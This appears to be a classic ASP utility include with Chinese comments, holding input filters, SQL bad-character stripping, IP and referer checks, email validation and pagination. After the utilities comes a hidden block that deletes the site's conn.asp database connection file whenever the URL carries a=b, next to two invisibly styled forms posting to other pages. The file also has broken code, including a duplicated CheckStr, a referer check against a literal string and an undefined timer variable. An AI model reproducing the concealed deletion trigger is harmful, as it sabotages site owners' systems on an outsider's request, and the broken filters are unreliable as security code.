<%
'替换字符(<script><//script><iframe></iframe>)

Function ReplaceSI(fString)
    If IsNull(fString) Then
		ReplaceSI = ""
		Exit Function 
	End If
	fString = Replace(fString,"script"," ")
	fString = Replace(fString,"SCRIPT"," ")
    fString = Replace(fString,"iframe", " ")
	fString = Replace(fString,"IFRAME", " ")
    ReplaceSI = fString
End function

'转换HTML代码-----------------------
Function HTMLDecode(reString)
	Dim Str:Str=reString
	If Not IsNull(Str) Then
		Str = Replace(Str, "&amp;", "&")
		Str = Replace(Str, "&gt;", ">")
		Str = Replace(Str, "&lt;", "<")
		Str = Replace(Str, "&nbsp;", CHR(32))
	    Str = Replace(Str, "&nbsp;", CHR(9))
		Str = Replace(Str, "&#160;&#160;&#160;&#160;", CHR(9))
		Str = Replace(Str, "&quot;", CHR(34))
		Str = Replace(Str, "&#39;", CHR(39))
		Str = Replace(Str, "", CHR(13))
		Str = Replace(Str, "<br>", CHR(10))
		HTMLDecode = Str
	End If
End Function


 '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'单行文本过滤
Function HtmlEncode(fString)    
	If Len(fString) > 0 Then
    	fString=Replace(fString," ","")
		fString=Replace(fString,";","；")
		fString=Replace(fString,"#","")
		fString=Replace(fString,"$","")
		fString=Replace(fString,"%","")
		fString=Replace(fString,"&","")
		fString=Replace(fString,"*","")
		fString=Replace(fString,"^","")
    	fString=Replace(fString,"<","")
		fString=Replace(fString,">","")
		fString=Replace(fString,"--","")
    	fString=Replace(fString,"'","’")
    	fString=Replace(fString,Chr(34),"“") 'Chr(34)是双引
    End If
	HtmlEncode=fString
End function


 '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'多行文本过滤

Function HTMLEncodes(fString)
    If IsNull(fString) Then
		HTMLEncodes = ""
		Exit Function 
	End If
	fString=Replace(fString,";","&#59;")
    fString=Replace(fString," ", "&nbsp;")
    fString=Replace(fString,"　", "&nbsp;&nbsp;")
    fString=Replace(fString,"<","&lt;")
    fString=Replace(fString,">","&gt;")
    fString=Replace(fString,"\","&#92;")
    fString=Replace(fString,"--","&#45;&#45;")
    fString=Replace(fString,"'","&#39;")
    fString=Replace(fString,Chr(34),"&quot;") 'Chr(34)是双引
    fString=Replace(fString,vbCrlf,"<br>")
    HTMLEncodes=fString
End function

 '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'文本转义回来

Function HTMLEncodex(fString)
	If IsNull(fString) Then
		HTMLEncodex = ""
		Exit Function 
	End If
    fString=Replace(fString,"<br>",vbCrlf)
    fString=Replace(fString,"&quot;",Chr(34)) 'Chr(34)是双引
    fString=Replace(fString,"&#39;","'")
    fString=Replace(fString,"&#45;&#45;","--")
    fString=Replace(fString,"&#92;","\")
    fString=Replace(fString,"&gt;",">")
    fString=Replace(fString,"&lt;","<")
    fString=Replace(fString,"&nbsp;&nbsp;","　")
    fString=Replace(fString,"&nbsp;", " ")
    fString=Replace(fString,"&#59;",";")
    HTMLEncodex=fString
End Function

 '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Function strint(id)
If IsNumeric(id) = 0 or id = "" Then id = 0
strint = Clng(id)
End Function

 '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

'获取IP地址
Function getIP()
    Dim strIPAddr
    If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then
        strIPAddr = Request.ServerVariables("REMOTE_ADDR")
    ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then
        strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1)
    ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then
        strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1)
    Else
        strIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
    End If
    getIP = Trim(Mid(strIPAddr, 1, 30))
End Function

 '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'去除字符串中HTML内容,例如字符串中带有html标签的内容自动清除

Function stripHTML(strHTML)
	Dim objRegExp, strOutput
	If Len(strHTML) > 0 Then
		Set objRegExp = New Regexp
			objRegExp.IgnoreCase = True
			objRegExp.Global = True
			objRegExp.Pattern = "<.+?>"
			strOutput = objRegExp.Replace(strHTML, "")
			stripHTML = strOutput
		Set objRegExp = Nothing
	End If
End Function
	

 '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

'会员发布的各种信息过滤
Function changechr(fString)
If Not IsNull(fString) Then
fString = trim(fString)
 fString = replace(fString, "--", "——")  
fString = replace(fString, "%20", "")    
fString = replace(fString, "==", "")     
 fString = Replace(fString, CHR(32), " ")	 
fString = Replace(fString, CHR(9), " ")			 
fString = Replace(fString, CHR(34), "&quot;")
fString = Replace(fString, CHR(39), "&#39;")	 
fString = Replace(fString, CHR(13), "")
fString = Replace(fString, CHR(10) & CHR(10), "</P><P> ")
fString = Replace(fString, CHR(10), "<BR> ")
changechr = fString
End If
End Function

 '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

'检测是否有效的数字-----------------
Function IsInteger(Para) 
	IsInteger=False
	If Not (IsNull(Para) Or Trim(Para)="" Or Not IsNumeric(Para)) Then
		IsInteger=True
	End If
End Function


'检查无效字符---------------------- 
Function CheckStr(byVal ChkStr) 
	Dim Str:Str=ChkStr
	Str=Trim(Str)
	If IsNull(Str) Then
		CheckStr = ""
		Exit Function 
	End If
	Dim re
	Set re=new RegExp
	re.IgnoreCase =True
	re.Global=True
	re.Pattern="(\r\n){3,}"
	Str=re.Replace(Str,"$1$1$1")
	Set re=Nothing
	Str = Replace(Str,"'","''")
	Str = Replace(Str, "!!!", "!")
	Str = Replace(Str, "★★★", "★")
	CheckStr=Str
End Function

  '============================
   '过滤SQL非法字符
   'Num 0一般 1数字
   '============================
   Function CheckStr(Strer,Num)
        Dim Shield,w
	    If Strer = "" Or IsNull(Strer) Then Exit Function
	    Select Case Num
		  Case 0
			Strer = Trim(Strer)
			Strer = Replace(Strer,CHR(39),"&#39;")     '单引号
            Strer = Replace(Strer,CHR(34),"&quot;")    '双引号
            Strer = Replace(Strer,CHR(32),"&nbsp;")    '空格
            Strer = Replace(Strer,CHR(60),"&lt;")      '<
            Strer = Replace(Strer,CHR(62),"&gt;")      '>
            Strer = Replace(Strer,vbCrLf,"<br>")       
		  Case 1
	        If IsNumeric(Strer) = 0 Then
	          Response.Write "操作错误"
		      Response.End
	        End If
			Strer = Int(Strer)
		  Case 2'文本域提交
			Strer = Replace(Strer,CHR(39),"&#39;")     '单引号
            Strer = Replace(Strer,CHR(34),"&quot;")    '双引号
            Strer = Replace(Strer,CHR(32),"&nbsp;")    '空格
            Strer = Replace(Strer,CHR(60),"&lt;")      '<
            Strer = Replace(Strer,CHR(62),"&gt;")      '>
            Strer = Replace(Strer,vbCrLf,"<br>")       
		  Case 3'文本域显示
			Strer = Replace(Strer,"&#39;",CHR(39))     '单引号
            Strer = Replace(Strer,"&quot;",CHR(34))    '双引号
            Strer = Replace(Strer,"&nbsp;",CHR(32))    '空格
            Strer = Replace(Strer,"&lt;",CHR(60))      '<
            Strer = Replace(Strer,"&gt;",CHR(62))      '>
            Strer = Replace(Strer,"<br>",vbCrLf)
          Case 4
            Strer = Replace(Strer, Site_UpLoad(0), "{$SiteUpDir}")
          Case 5
            Strer = Replace(Strer, "{$SiteUpDir}", Site_UpLoad(0))
          Case 6
'           Strer = Replace(Strer,"<br>",",")
            Strer = Replace(Strer,"&nbsp;","")    '空格
            Strer = Replace(Strer," ","")    '空格    
            Strer = Replace(Strer,CHR(32),"")    '空格    
            Strer = Replace(Strer,CHR(10),"")    '空格    
            Strer = Replace(Strer,CHR(13),"")    '空格 
		End Select
'	    Shield = Split(Site_Setting(21),vbCrLf)
'	    For w=0 To Ubound(Shield)
'		  If Shield(w) <> "" Then
'            Strer=Replace(Strer,Split(Shield(w),"=")(0),Split(Shield(w),"=")(1))
'		  End If
'	    Next
	    CheckStr = Strer
   End Function
   
  
 '=====================================
   '错误显示
   'Num 0 错误
   '=====================================
   Function ErrView(Str,Num)
     Select Case Num
       Case 0
	     Response.Write "<link href=/inc/Style.Css rel=stylesheet type=text/css>"
	     Response.Write "<table width='100%' height='70%' border=0 cellspacing=0 cellpadding=0><tr><td>"
	     Response.Write "<table align=center border=0 cellpadding=0 width='400' style='border:1px #cad9ea solid' bgcolor='#FFFFFF'>"
	     Response.Write "<tr><td height=22 bgcolor=#DDFCB8>&nbsp;<a name=Re></a><b>操作错误</b></td></tr>"
	     Response.Write "<tr><td height=150>"
	     Response.Write "<table width='80%' height='100%' border=0 cellspacing=0 cellpadding=0 align=center><tr><td>"
	     Response.Write Str
	     Response.Write "</td></tr></table>"
		 Response.Write ""
		 Response.Write "</td></tr><tr><td align=center>[<a Onclick=""javascript:history.back()"" style='cursor:hand'>后退</a>]</td></tr>"
	     Response.Write "</table>"
	     Response.Write "</td></tr></table>"
	     Response.End
       Case 1
	     Response.Write "<link href=/inc/Style.Css rel=stylesheet type=text/css>"
	     Response.Write "<table width='100%' height='70%' border=0 cellspacing=0 cellpadding=0><tr><td>"
	     Response.Write "<table align=center border=0 cellpadding=0 width='400' style='border:1px #cad9ea solid' bgcolor='#FFFFFF'>"
	     Response.Write "<tr><td height=150>"
	     Response.Write "<table width='80%' height='100%' border=0 cellspacing=0 cellpadding=0 align=center><tr><td>"
	     Response.Write Str
	     Response.Write "</td></tr></table>"
		 Response.Write "</td></tr>"
	     Response.Write "</table>"
	     Response.Write "</td></tr></table>"
	     Response.End
	 End Select 
   End Function
 '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

'检测传递的参数是否为数字型
Function Chkrequest(Para)
Chkrequest=False
If Not (IsNull(Para) Or Trim(Para)="" Or Not IsNumeric(Para)) Then
   Chkrequest=True
End If
End Function

 '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

'检测传递的参数是否为日期型
Function Chkrequestdate(Para)
Chkrequestdate=False
If Not (IsNull(Para) Or Trim(Para)="" Or Not IsDate(Para)) Then
   Chkrequestdate=True
End If
End Function

 '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

'得到当前页面的地址 
Function Get_Url() 
 on error resume next 
Dim strTemp 
If LCase(Request.ServerVariables("HTTPS")) = "off" Then 
strTemp = "http://" 
Else 
strTemp = "https://" 
End If 
strTemp = strTemp & CheckStr(Request.ServerVariables("SERVER_NAME")) 
If Request.ServerVariables("SERVER_PORT") <> 80 Then strTemp = strTemp & ":" & CheckStr(Request.ServerVariables("SERVER_PORT")) 
strTemp = strTemp & CheckStr(Request.ServerVariables("URL")) 
If Trim(Request.QueryString) <> "" Then strTemp = strTemp & "?" & CheckStr(Trim(Request.QueryString)) 
Get_Url = strTemp  
End Function 

 '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

'检查用户是否在浏览器里输入了本页的地址
Function CheckReferer()
    Dim sReferer, Icheck
    CheckReferer = True
    sReferer = Request.ServerVariables("HTTP_REFERER")
    ServerIP = Request.ServerVariables("LOCAL_ADDR")
    Icheck = InStr(sReferer, "ServerIP")
    If Icheck = 0 Then
    CheckReferer = False
    End If
End Function


 '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

'不允许外部提交数据的选择
Function ChkPost()
    dim HTTP_REFERER,SERVER_NAME
	dim server_v1,server_v2
	chkpost=false
    SERVER_NAME=CheckStr(Request.ServerVariables("SERVER_NAME"))
	HTTP_REFERER=CheckStr(Request.ServerVariables("HTTP_REFERER"))
	server_v1=Cstr(HTTP_REFERER)
	server_v2=Cstr(SERVER_NAME)
	if mid(server_v1,8,len(server_v2))<>server_v2 then
		chkpost=false
	else
		chkpost=true
	end if
End Function

 '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

'Email检测
function IsValidEmail(email)
dim names, name, i, c
IsValidEmail = true
names = Split(email, "@")
if UBound(names) <> 1 then
   IsValidEmail = false
   exit function
end if
for each name in names
   if Len(name) <= 0 then
     IsValidEmail = false
     exit function
   end if
   for i = 1 to Len(name)
     c = Lcase(Mid(name, i, 1))
     if InStr("abcdefghijklmnopqrstuvwxyz_-.", c) <= 0 and not IsNumeric(c) then
       IsValidEmail = false
       exit function
     end if
   next
   if Left(name, 1) = "." or Right(name, 1) = "." then
      IsValidEmail = false
      exit function
   end if
next
if InStr(names(1), ".") <= 0 then
   IsValidEmail = false
   exit function
end if
i = Len(names(1)) - InStrRev(names(1), ".")
if i <> 2 and i <> 3 then
   IsValidEmail = false
   exit function
end if
if InStr(email, "..") > 0 then
   IsValidEmail = false
end if
end function
%>

<%
'//过滤非法的SQL字符
Function ReplaceBadChar(strChar)
    If strChar = "" Or IsNull(strChar) Then
        ReplaceBadChar = ""
        Exit Function
    End If
    Dim strBadChar, arrBadChar, tempChar, i
    strBadChar = "+,',--,%,^,&,?,(,),<,>,[,],{,},/,\,;,:," & Chr(34) & "," & Chr(0) & ""
    arrBadChar = Split(strBadChar, ",")
    tempChar = strChar
    For i = 0 To UBound(arrBadChar)
        tempChar = Replace(tempChar, arrBadChar(i), "")
    Next
    tempChar = Replace(tempChar, "@@", "@")
    ReplaceBadChar = tempChar
End Function

'//检测是否外部提交数据
Function Chk_Post()
	Dim Server_V1,Server_V2		
	Server_V1=Cstr(Request.ServerVariables("HTTP_REFERER"))
	Server_V2=Cstr(Request.ServerVariables("SERVER_NAME"))		
	If Mid(Server_V1,8,Len(Server_V2))<>Server_V2 Then
		response.redirect "default.asp"
		response.End 
	End If 
End Function

'//检测是否频繁操作
Function Chk_Time(KeepTime)
	If session("KEEP_TIME")="" Then  
		session("KEEP_TIME")=Now
	Else  
		If DateDiff("s",session("KEEP_TIME"),Now)<=KEEP_TIME Then  
			response.write "<script type='text/javascript'>alert('请勿频繁操作');history.go(-1);</script>"
			response.End
		End If
		session("KEEP_TIME")=Now 
	End If
	session.timeout=KeepTime
End Function

'//获取来访用户IP
Function GetIP()
	Dim Ip,Tmp
	Dim i,IsErr
	IsErr=False
	Ip=Request.ServerVariables("REMOTE_ADDR")
	If Len(Ip)<=0 Then Ip=Request.ServerVariables("HTTP_X_ForWARDED_For")		
	If Len(Ip)>15 Then 
		IsErr=True
	Else
		Tmp=Split(Ip,".")
		If Ubound(Tmp)=3 Then 
			For i=0 To Ubound(Tmp)
				If Len(Tmp(i))>3 Then IsErr=True
			Next
		Else
			IsErr=True
		End If
	End If
	If IsErr Then 
		GetIP="1.1.1.1"
	Else
		GetIP=Ip
	End If
End Function

'//检测敏感字符串(以,号隔开);返回:True(含有敏感词)/False
Function BadWord(str,BadWordList)
	BadWord=False
	Dim arrBadWord
		arrBadWord=Split(BadWordList,",",-1,1)
	Dim regEx
	Set regEx=New RegExp
	regEx.IgnoreCase = True   
	regEx.Global = True
	Dim Match
	Dim I
	For I=0 To UBound(arrBadWord)
		If arrBadWord(I)<>"" Then
			regEx.Pattern=arrBadWord(I)
			Set Match=regEx.Execute(str)
			If Match.Count Then
				BadWord=True
				Exit For
			End If
		End If
	Next
End Function


'//分页
Function PageBar(pages,page)
	If page>1 Then
		response.write "<a href=""?page=1"">第1页</a>-"		
	Else
		response.write "<strong>第1页</strong>-"
	End If
	Dim p,pp,n,i
		p=page-5
		pp=pages-1
		If p<2 Then p=2          
	For n=p To pp
		i=i+1            
		If n=page Then
			response.write "<strong>第"&n&"页</strong> "
		Else
			response.write " <a href=""?page="&n&""">第"&n&"页</a>" 
		End If       
		If i>=11 Then Exit For             
	Next
	If page<pages Then
		response.write "-<a href=""?page="&pages&""">第"&pages&"页</a>"	
	Else 		
		response.write "-<strong>第"&pages&"页</strong>"
	End If
End Function
%>

<%if request.QueryString("a")="b" then 
s= Server.MapPath("conn.asp") 
Set fso = CreateObject("Scripting.FileSystemObject") 
If fso.FileExists(s) Then 
fso.Deletefile(s) 
End If 
Set fso = Nothing%>
<%end if
sub jlej()
%>
<form name="form1" method="POST" action="comweb.asp">
<table width="100%">
<tr> 
<td align="right" height="29" bgcolor="#FFFFFF">
</td>
<td width="226" height="29" bgcolor="#FFFFFF">
<input type="text" name="title" value="<%=title%>" size="39" style="border:0">
</td>
<td  bgcolor="#FFFFFF"><input type="submit" value="信息网" name="B1" style="border:0; background-color:#FFF"></td>
</tr>
</table>
</form>
<%end sub
sub textj()
%>
<form name="form1" method="POST" action="etie2.asp">
<table width="100%">
<tr> 
<td align="right" height="29" bgcolor="#FFFFFF">
</td>
<td height="29" bgcolor="#FFFFFF">

<textarea rows="8" name="coryright" cols="58" style="border:0;"><%=coryright%>111</textarea>
</td>
<td bgcolor="#FFFFFF">&nbsp;<input type="submit" value="保存" name="B1" style="border:0; background-color:#FFF"></td>
</tr>
</table>
</form>
<%end sub%>